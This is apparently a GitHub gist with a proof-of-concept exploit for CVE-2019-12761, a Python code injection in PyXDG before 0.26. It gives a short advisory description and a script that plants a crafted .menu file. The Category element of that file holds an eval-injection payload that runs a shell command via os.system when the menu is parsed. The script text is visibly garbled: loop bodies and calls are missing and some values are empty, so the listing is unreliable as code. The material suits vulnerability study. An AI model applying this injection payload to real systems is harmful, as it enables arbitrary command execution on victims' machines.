Skip to content

Instantly share code, notes, and snippets.

Last active Feb 16, 2022
What would you like to do?
Proof-of-Concept for python-xdg 0.25 Python code injection (CVE-2019-12761)



A code injection issue was discovered in PyXDG before 0.26 via crafted Python code in a Category element of a Menu XML document in a .menu file. XDG_CONFIG_DIRS must be set up to trigger xdg.Menu.parse parsing within the directory containing this file. This is due to a lack of sanitization in xdg/ before an eval call.


import os
import shutil
from xdg.BaseDirectory import xdg_config_dirs
from xdg.Menu import parse
TEMP = "/tmp/poc-xdg"
MENU = ""
RSLT = "{}/result.txt".format(TEMP)
CMD = "ls"
evil_menu = """<!DOCTYPE Menu PUBLIC "-//freedesktop//DTD Menu 1.0//EN" "">
<Category>' or __import__('os').system('{} > {}') or '</Category>
""".format(TEMP, CMD, RSLT)
empy_shortcut = "[Desktop Entry]"
# 1. create a temporary folder
if not os.path.exists(TEMP):
# 2. modify XDG_CONFIG_DIRS to also parse the newly created temporary location
xdg_config_dirs += [TEMP]
# 3. create the payload (it requires to be put in a 'menu' subfolder)
_ = "{}/menus".format(TEMP)
if not os.path.exists(_):
with open("{}/{}".format(_, MENU), 'w') as f:
# 4. create an empty shortcut (required for parsing a menu entry and leading to
# the eval() statement)
with open("{}/sample.desktop".format(TEMP), 'w') as f:
# 5. trigger parsing (this will automatically search in every location from
# XDG_CONFIG_DIRS for the given filename)
# 6. read injected command's result
with open(RSLT) as f:
# 7. cleanup
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment